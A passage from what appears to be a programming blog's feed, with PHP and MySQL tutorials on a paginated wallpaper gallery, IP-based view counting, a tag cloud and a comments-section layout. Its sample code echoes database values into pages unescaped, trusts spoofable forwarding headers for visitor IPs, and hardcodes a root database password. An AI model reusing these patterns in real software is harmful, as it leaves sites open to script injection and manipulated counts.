    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;div class="container"&amp;gt;
            &amp;lt;h1&amp;gt;Gallery&amp;lt;/h1&amp;gt;
            &amp;lt;?php $d-&amp;gt;view(); ?&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;in the small portion of the html code above we call the view() methode from our ViewWallpapers class inside a div container element and this methode will carry on the viewing of all the items so we will change that methode in our class, it will look like this : &lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-php"&gt;
&lt;code class="language-php"&gt;

protected function all(){
    $items = $this-&amp;gt;db-&amp;gt;all($this-&amp;gt;first,$this-&amp;gt;perPage);
    echo '&amp;lt;div class="row"&amp;gt;';
    foreach ($items as $item) {
        echo '&amp;lt;div class="item"&amp;gt;';
        echo '    &amp;lt;a href="/Wallpapers/Full/'.$item["id"].'" &amp;gt;';
        echo '        &amp;lt;img src="/images/Wallpapers/'.$item["url"].'" &amp;gt;';
        echo '        &amp;lt;div class="content"&amp;gt;';
        echo '            &amp;lt;p&amp;gt;'.$item["x"].'x'.$item["y"].'&amp;lt;/p&amp;gt;';
        echo '        &amp;lt;/Div&amp;gt;';
        echo '    &amp;lt;/a&amp;gt;';
        echo '&amp;lt;/div&amp;gt;';
    }
    echo '&amp;lt;/div&amp;gt;';
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;As you can see the methode now fetches the items from the database, creates an HTML  div container of class "row" and then for each element , it creates an HTML div container of class "item" these classes are styled in our CSS Stylecheet above. Like A puzzle everything we built so far will fall into place: the anchor a  will create a link leading to the URL "/Wallpapers/Full/$itemid" to which our website will respond by executing the one() method from our ViewWallpapers class.&lt;/p&gt;
&lt;p&gt;One small detail remains , we need to add these two lines to the __construct() method of our class, to actually hanlde the paging.
if the url in the address bar contains /1 we decrement it by 1 to become 0 ; then mutiply it by 24 :which means we are getting  24 rows starting from 0 (ie the 1st page), if the adress bar contains /2 we de the same , we decrease it to 1 and multiply by 24 and so the starting row of the fetch method is 24 (ie the 2nd page ) and so one :&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-php"&gt;
&lt;code class="language-php"&gt;

if($this-&amp;gt;first&amp;gt;0)$this-&amp;gt;first--;
$this-&amp;gt;first *= $this-&amp;gt;perPage;

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Finaly our website image gallery will look like this:&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;
&lt;img style="width:100%;height:auto;" src="/theme/images/articles/images/25-img-1.png" alt="altaltalt , Bootstrap masonry grid layout image gallery"&gt;
&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;As usual : the video tutorial:&lt;/h2&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div class="framediv" &gt;
    &lt;iframe width="560" height="315" src="https://www.youtube.com/embed/POw2QmK-R-o" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="php"></category><category term="web design"></category><category term="web development"></category><category term="angular"></category><category term="javascript"></category><category term="javascript developer"></category><category term="frontend web developer"></category><category term="html coding"></category><category term="css3"></category><category term="css"></category><category term="css3 animation"></category><category term="html5"></category><category term="reactjs"></category><category term="software developer"></category><category term="full stack developer"></category><category term="user interface designer"></category><category term="web developers life"></category><category term="web developers"></category><category term="coding life"></category><category term="coding days"></category><category term="python developer"></category><category term="website design"></category><category term="php object"></category></entry><entry><title>PHP And MySQL Tricks - How to increment article or image views</title><link href="https://mosaid.xyz/articles/php-and-mysql-tricks-how-to-increment-article-or-image-views-24.html" rel="alternate"></link><published>2020-09-02T11:28:15+00:00</published><updated>2020-09-02T11:28:15+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-09-02:/articles/php-and-mysql-tricks-how-to-increment-article-or-image-views-24.html</id><summary type="html">&lt;p&gt;We will use the MySQL function TIMESTAMPDIFF, the process is simple  enough : we check the difference between the last time a user identified by its  IP adress viewed our page and the current time, if the said difference is  greater than a defined value, we increment the view.&lt;/p&gt;</summary><content type="html">&lt;p&gt;We will use the MySQL function TIMESTAMPDIFF, the process is simple
enough : we check the difference between the last time a user identified by its
IP adress viewed our page and the current time, if the said difference is
greater than a defined value, we increment the view.&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;the TIMESTAMPDIFF function:&lt;/h2&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The MySQL TIMESTAMPDIFF() returns a value after subtracting a datetime expression from another.
&lt;br&gt;
It is not necessary that both the expression are of the same type. One may be a date and another is datetime. A date value is treated as a datetime with a default time part '00:00:00'. The unit for the result is given by another argument.
&lt;br&gt;
The unit should be one of the following : FRAC_SECOND (microseconds), SECOND, MINUTE, HOUR, DAY, WEEK, MONTH, QUARTER, or YEAR.
&lt;br&gt;
&lt;strong style="color:blue;" &gt;The syntax is : &lt;/strong&gt;
&lt;/p&gt;
&lt;pre class="language-sql" &gt;
&lt;code class="language-sql" &gt;

TIMESTAMPDIFF(unit,datetime_expr1,datetime_expr2);

&lt;/code&gt;
&lt;/pre&gt;
&lt;div class=""&gt;
&lt;table class="article-table"&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;argument&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;datetime_expr1&lt;/td&gt;
&lt;td&gt;A datetime expression. &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;datetime_expr2&lt;/td&gt;
&lt;td&gt;A datetime expression.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;unit&lt;/td&gt;
&lt;td&gt;An unit, as described above. &lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;h2&gt;Getting the user ip adress&lt;/h2&gt;
&lt;p&gt;We need to have a way to identify our visitors in order to count our page
views, and the best way to do it is by saving the ip adresses of our visitors.
the following PHP function will allow us to do so:&lt;/p&gt;
&lt;pre class="language-php" &gt;
&lt;code class="language-php" &gt;

function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;h2&gt;Incrementing the views&lt;/h2&gt;
&lt;p&gt;consider the following elements to understand this tutorial:&lt;br&gt;
our database consists of the following two tables :&lt;/p&gt;
&lt;pre class="language-text" &gt;
articletable(id,views)
viewstable(articleid,vieweripadress,viewdate)
&lt;/pre&gt;
&lt;p&gt;Here is what we are going to do :&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 - we will try to insert a new record of (articleid,vieweripadress) into our
viewstable, if the insert query succeeds then it is a new record, we create a
boolean variable  &lt;strong style="color:blue;" &gt;$newrecord = true &lt;/strong&gt;
and it will help us decide whether we will increment the views or not.&lt;/li&gt;
&lt;li&gt;2 - we will make a query to get the difference in hours between the last
view by our user and the current time. we simply select a  &lt;strong
style="color:blue;" &gt;$increment &lt;/strong&gt; value of "yes" or "no"
depending on the time difference.&lt;/li&gt;
&lt;li&gt;3 - if either  &lt;strong style="color:blue;" &gt;$newrecord&lt;/strong&gt;  is true or
&lt;strong style="color:blue;" &gt;$increment &lt;/strong&gt; is "yes" we will update the
viewdate and incement the views&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;h2&gt;Inserting a new record:&lt;/h2&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-php" &gt;
&lt;code class="language-php" &gt;

// for this code to work you need to have the pdo error mode set to exception
// with this:
// $pdo-&gt;setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
// the $id is the article id
// I assume that the viewdate default value is set to CURRENT_TIMESTAMP() when we created
// our tables.

$ip = getUserIP();
$query = " INSERT INTO viewstable (articleid,vieweripadress) VALUES (?,?) ";
try{
    $sql = $pdo-&gt;prepare($query);
    $sql-&gt;execute([$id,$ip]);
    $newrecord = 1 ;
} catch(PDOException $e) {
    $newrecord = 0 ;
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;At this point, either we inserted a new record for a new visitor and
$newrecord is true, or the visitor is new and a record has already been inserted
before and $newrecord is false.&lt;br&gt;Now we compare the record( old or new) to the
current datetime : &lt;/p&gt;
&lt;pre class="language-php" &gt;
&lt;code class="language-php" &gt;

$query = " SELECT IF(TIMESTAMPDIFF(HOUR,`viewdate`,CURRENT_TIMESTAMP())&gt; 4  ,'yes','no') as status
           FROM viewstable WHERE articleid = ? AND vieweripadress = ? ";
$sql = $this-&gt;dbh-&gt;prepare($query);
$sql-&gt;execute([$id,$ip]);
$increment = $sql-&gt;fetch()["status"];

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Finally, we check if we can update the viewdate and increment the views:&lt;/p&gt;
&lt;pre class="language-php" &gt;
&lt;code class="language-php" &gt;

if ( $increment == "yes" || $newrecord == 1 ) {
    $query="update articletable set views = views + 1 where id= ? ";
    $sql = $this-&gt;dbh-&gt;prepare($query);
    $sql-&gt;execute([$id]);
    $query=" update viewstable set viewdate = CURRENT_TIMESTAMP()
             where articleid= ? and vieweripadress = ? ";
    $sql = $this-&gt;dbh-&gt;prepare($query);
    $sql-&gt;execute([$id,$ip]);
}

&lt;/code&gt;
&lt;/pre&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="php"></category><category term="web design"></category><category term="web development"></category><category term="angular"></category><category term="javascript"></category><category term="javascript developer"></category><category term="frontend web developer"></category><category term="html coding"></category><category term="css3"></category><category term="css"></category><category term="css3 animation"></category><category term="html5"></category><category term="reactjs"></category><category term="software developer"></category><category term="full stack developer"></category><category term="user interface designer"></category><category term="web developers life"></category><category term="web developers"></category><category term="coding life"></category><category term="coding days"></category><category term="python developer"></category><category term="website design"></category><category term="php object"></category></entry><entry><title>How To make a tag cloud using PHP and CSS</title><link href="https://mosaid.xyz/articles/how-to-make-a-tag-cloud-using-php-and-css-23.html" rel="alternate"></link><published>2020-08-31T20:05:56+00:00</published><updated>2020-08-31T20:05:56+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-08-31:/articles/how-to-make-a-tag-cloud-using-php-and-css-23.html</id><summary type="html">&lt;p&gt;A Tag cloud is a section of your website that shows a cluster of words that are  different in size according to how many times they appear in your website.&lt;/p&gt;</summary><content type="html">&lt;p&gt;A Tag cloud is a section of your website that shows a cluster of words that are
different in size according to how many times they appear in your website. for example if the words are
wallpapers tags, then they would show the most tagged wallpapers in your
database and this is the example I am going to use in this article.
&lt;br&gt;My "Wallpapers" Database consists of 3  tables:&lt;/p&gt;
&lt;pre style="overflow-x:auto;"&gt;
    wallpaperstable (id,url,resolution,x,y,views,dateadded)
    tagstable(id,tagname,tagtext)
    wallpaperstags(id,tagid)
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The only tables that consern us in this article are &lt;strong
style="color:red;"&gt; tagstable &lt;/strong&gt; and
&lt;strong style="color:red;"&gt; wallpaperstags&lt;/strong&gt;
. As you might have guessed it, the second table represents a wallpaper-id,
    tag-id combination. A wallpaper can have multiple different tags. it is a
    one to many relationship. we will count how many times a tagid is repeated
by joining them and grouping the colmuns by the tagid and counting them with
&lt;strong style="color:red;"&gt; count(tagid) &lt;/strong&gt; with the following sql query:
&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-sql"&gt;
&lt;code class="language-sql"&gt;

SELECT tagname , count(tagid) as weight from wallpaperstags t1
JOIN tagstable t2 on t1.tagid = t2.id
group by tagid  order by weight desc limit :limit

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The number of times a tagid is repeated in &lt;strong style="color:red;"&gt;
wallpaperstags &lt;/strong&gt; will be the weight of the tag and later will be used to
decide its &lt;strong style="color:blue;"&gt; font-size &lt;/strong&gt; in the cloud we are
creating.&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Here is the full code for the tag cloud:&lt;/p&gt;
&lt;pre class="language-php"&gt;
&lt;code class="language-php"&gt;

&amp;lt;!doctype html&amp;gt;
&amp;lt;?php

$host = "localhost";
$user = "root";
$password = "1313";

$pdo = new PDO("mysql:host=$host", $user, $password);
$pdo-&amp;gt;setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE,PDO::FETCH_ASSOC);
$pdo-&amp;gt;setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$pdo-&amp;gt;query("use Wallpapers");

$limit = 30;
$query = "  SELECT tagname , count(tagid) as weight from wallpaperstags t1
    JOIN tagstable t2 on t1.tagid = t2.id
    group by tagid  order by weight desc limit :limit";
$sql = $pdo-&amp;gt;prepare($query);
$sql-&amp;gt;bindValue(':limit', (int) $limit, PDO::PARAM_INT);
$sql-&amp;gt;execute();
$tags = $sql-&amp;gt;fetchAll();

$keys = array_keys($tags);
shuffle($keys);
foreach($keys as $key){
    $new[$key] = $tags[$key];
}
$tags = $new;



?&amp;gt;
&amp;lt;html lang="en"&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta charset="utf-8"&amp;gt;
        &amp;lt;meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"&amp;gt;
        &amp;lt;link rel="stylesheet"
              href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css"
              integrity="sha384-GJzZqFGwb1QTTN6wy59ffF1BuGJpLSa9DkKMp0DgiMDm4iYMj70gZWKYbI706tWS"
              crossorigin="anonymous"&amp;gt;
        &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;

        &amp;lt;style&amp;gt;
                .cloud-div {
                        width:50%;
                        justify-content:center;
                        text-align:center;
                }
                .cloud-tag {
                    padding: 0;
                    padding-right: 5px;
                    vertical-align:center;
                    white-space: nowrap;
                }
        &amp;lt;/style&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;div class="container-fluid"&amp;gt;
&amp;lt;?php
$starting_font_size = 10;
$factor = 0.4;
echo '&amp;lt;div class="cloud-div"&amp;gt;';
foreach ($tags as $t) {
    $x = round( $t["weight"]/100) * $factor;
    $font_size = $starting_font_size + $x.'px';
    echo '&amp;lt;a href="#"&amp;gt;
        &amp;lt;span class="cloud-tag" style="font-size: '.$font_size.';"&amp;gt;'
        .$t["tagname"].'
        &amp;lt;/span&amp;gt;
        &amp;lt;/a&amp;gt;';
}
echo '&amp;lt;/div&amp;gt;';
 ?&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;script
            src="https://code.jquery.com/jquery-3.3.1.js"
            integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
            crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;
        &amp;lt;script
            src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.6/umd/popper.min.js"
            integrity="sha384-wHAiFfRlMFy6i5SRaxvfOCifBUQy1xHdJ/yoi7FRNXMRBu5WHdZYu1hA6ZOblgut"
            crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;
        &amp;lt;script
            src="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/js/bootstrap.min.js"
            integrity="sha384-B0UglyR+jN6CkvvICOB2joaf5I4l3gm9GU6Hc1og6Ls7i6U/mkkaduKaBhlAXv9k"
            crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;In the following video, I show the step by step process of writing this code
and explain every part of it.&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div class="framediv" &gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/IiFERY9u6rA" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="php"></category><category term="web design"></category><category term="web development"></category><category term="angular"></category><category term="javascript"></category><category term="javascript developer"></category><category term="frontend web developer"></category><category term="html coding"></category><category term="css3"></category><category term="css"></category><category term="css3 animation"></category><category term="html5"></category><category term="reactjs"></category><category term="software developer"></category><category term="full stack developer"></category><category term="user interface designer"></category><category term="web developers life"></category><category term="web developers"></category><category term="coding life"></category><category term="coding days"></category><category term="python developer"></category><category term="website design"></category><category term="php object"></category><category term="5"></category><category term="goo"></category></entry><entry><title>How to add Comments section to your blog</title><link href="https://mosaid.xyz/articles/how-to-add-comments-section-to-your-blog-22.html" rel="alternate"></link><published>2020-08-29T12:08:25+00:00</published><updated>2020-08-29T12:08:25+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-08-29:/articles/how-to-add-comments-section-to-your-blog-22.html</id><summary type="html">&lt;p&gt;For a Blog or any website to thrive and grow, it must have a way to interact  with its visitors, to get their opinions, expectations and criticism. And what  a better way to do all this than a section for comments for the visitors and  customers to express their opinions and make their voice heard.&lt;/p&gt;</summary><content type="html">&lt;p&gt;For a Blog or any website to thrive and grow, it must have a way to interact
with its visitors, to get their opinions, expectations and criticism. And what
a better way to do all this than a section for comments for the visitors and
customers to express their opinions and make their voice heard.&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Many websites and apps offer their plugins for a comments section, however
either they come at price or free with some sort of involvement from their part
in maintaining it, or at least for a third party website to benefit from it,
 to use Facebook comments section plugins for example you pay the heavy price of
 letting Facebook track information about your visitors. even then, it is
 sometimes difficult to implement these plugins especially if you are building
 your website on your own and not using some website builders like Wordpress.
 &lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;
 
&lt;p&gt;In this article I give you a simple CSS and HTML comments section that is
 simple to use and add to your blog. it is responsive as it uses bootstrap
 classes but it can be changed to any other library. and the layout would be the
 same. and it would look like this:&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br&gt;
 
&lt;div style="text-align:center;justify-content:center;"&gt;
     &lt;img src="/theme/images/articles/images/22-img-1.png" style="max-width:100%;height:auto;"  alt="altaltalt" &gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;and here is the full html source code for it:&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-html"&gt;
&lt;code class="language-html"&gt;

&amp;lt;!doctype html&amp;gt;
&amp;lt;html lang="en"&amp;gt;
    &amp;lt;head&amp;gt;
    &amp;lt;meta charset="utf-8"&amp;gt;
    &amp;lt;meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"&amp;gt;
    &amp;lt;link rel="stylesheet"
          href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css"
          integrity="sha384-GJzZqFGwb1QTTN6wy59ffF1BuGJpLSa9DkKMp0DgiMDm4iYMj70gZWKYbI706tWS"
          crossorigin="anonymous"&amp;gt;
    &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        .comments-main {
        background-color:beige;
        }
        .comments-main ul {
        list-style:none;
        }
        .comments-main form .row {
        justify-content:center;
        text-align:center;
        vertical-align:center;
        }
        .rounded {
        border-radius: 25px;
        background: white;
        }
        .comment {
        background-color:white;
        padding: 10px;
        }
        .comment h4 {
        font-size: 14px;
        font-weight:bold;
        display:inline;
        }
        .comment label {
        font-size: 12px;
        display:inline;
        }
        .comment time {
        font-size: 12px;
        color: grey;
        }
        .comment p {
        font-size: 14px;
        padding-left: 10px;
        }
    &amp;lt;/style&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
    &amp;lt;div class="container-fluid"&amp;gt;
        &amp;lt;h3 class="mt-5"&amp;gt;Comments:&amp;lt;/h3&amp;gt;
        &amp;lt;small&amp;gt;All comments will be added pending Approval&amp;lt;/small&amp;gt;
        &amp;lt;div class="comments-main pl-2 pt-2 col-12 col-md-6"&amp;gt;
        &amp;lt;ul class="row p-0 m-0"&amp;gt;
            &amp;lt;li class="col-12 rounded comment mb-2" &amp;gt;
            &amp;lt;h4 class="m-0"&amp;gt;John Smith&amp;lt;/h4&amp;gt;
            &amp;lt;time&amp;gt; at 2020-05-15 18:03&amp;lt;/time&amp;gt;
            &amp;lt;input type="checkbox" value="comment-id" id="checkbox-comment-id" name="checkbox-reply" form="commentform"&amp;gt;
            &amp;lt;label for="checkbox-comment-id" style="color:blue;" &amp;gt;Reply&amp;lt;/label&amp;gt;
            &amp;lt;p class=""&amp;gt;good article&amp;lt;/p&amp;gt;
            &amp;lt;/li&amp;gt;
            &amp;lt;li class="col-12 p-0 m-0" &amp;gt;
            &amp;lt;ul&amp;gt;
                &amp;lt;li class="row p-0 m-0" &amp;gt;
                &amp;lt;div class="col-1 p-0 m-0"&amp;gt;&amp;lt;/div&amp;gt;
                &amp;lt;div class="col-11 comment rounded mb-2"&amp;gt;
                    &amp;lt;h4 class="m-0"&amp;gt;Glen Quagmire&amp;lt;/h4&amp;gt;
                    &amp;lt;time&amp;gt; at 2020-05-15 18:03&amp;lt;/time&amp;gt;
                    &amp;lt;p class="mb-0 reply"&amp;gt;thanks a lot&amp;lt;/p&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;/li&amp;gt;
                &amp;lt;li class="row p-0 m-0" &amp;gt;
                &amp;lt;div class="col-1 p-0 m-0"&amp;gt;&amp;lt;/div&amp;gt;
                    &amp;lt;div class="col-11 comment rounded mb-2"&amp;gt;
                    &amp;lt;h4 class="m-0"&amp;gt;Glen Quagmire&amp;lt;/h4&amp;gt;
                    &amp;lt;time&amp;gt; at 2020-05-15 18:03&amp;lt;/time&amp;gt;
                    &amp;lt;p class="mb-0 reply"&amp;gt;thanks a lot and here is a very long long reply to this awesome comment in this awesome article and this is responsive to the width of the current display either be it a phone, tablet or laptop.&amp;lt;/p&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/li&amp;gt;
            &amp;lt;/ul&amp;gt;
            &amp;lt;/li&amp;gt;
            &amp;lt;li class="col-12 rounded comment mb-2" &amp;gt;
            &amp;lt;h4 class="m-0"&amp;gt;John Smith&amp;lt;/h4&amp;gt;
            &amp;lt;time&amp;gt; at 2020-05-15 18:03&amp;lt;/time&amp;gt;
            &amp;lt;input type="checkbox" value="comment-id" id="checkbox-comment-id" name="checkbox-reply" form="commentform"&amp;gt;
            &amp;lt;label for="checkbox-comment-id" style="color:blue;" &amp;gt;Reply&amp;lt;/label&amp;gt;
            &amp;lt;p class=""&amp;gt;good article again&amp;lt;/p&amp;gt;
            &amp;lt;/li&amp;gt;
        &amp;lt;/ul&amp;gt;
        &amp;lt;form method="post" id="commentform"&amp;gt;
            &amp;lt;div class="row p-2"&amp;gt;
            &amp;lt;input type="text" class="col-12" id="name" name="name" placeholder="Name" required&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class="row p-2"&amp;gt;
            &amp;lt;input type="email" class="col-12" id="name" name="email" placeholder="Email" required&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class="row p-2"&amp;gt;
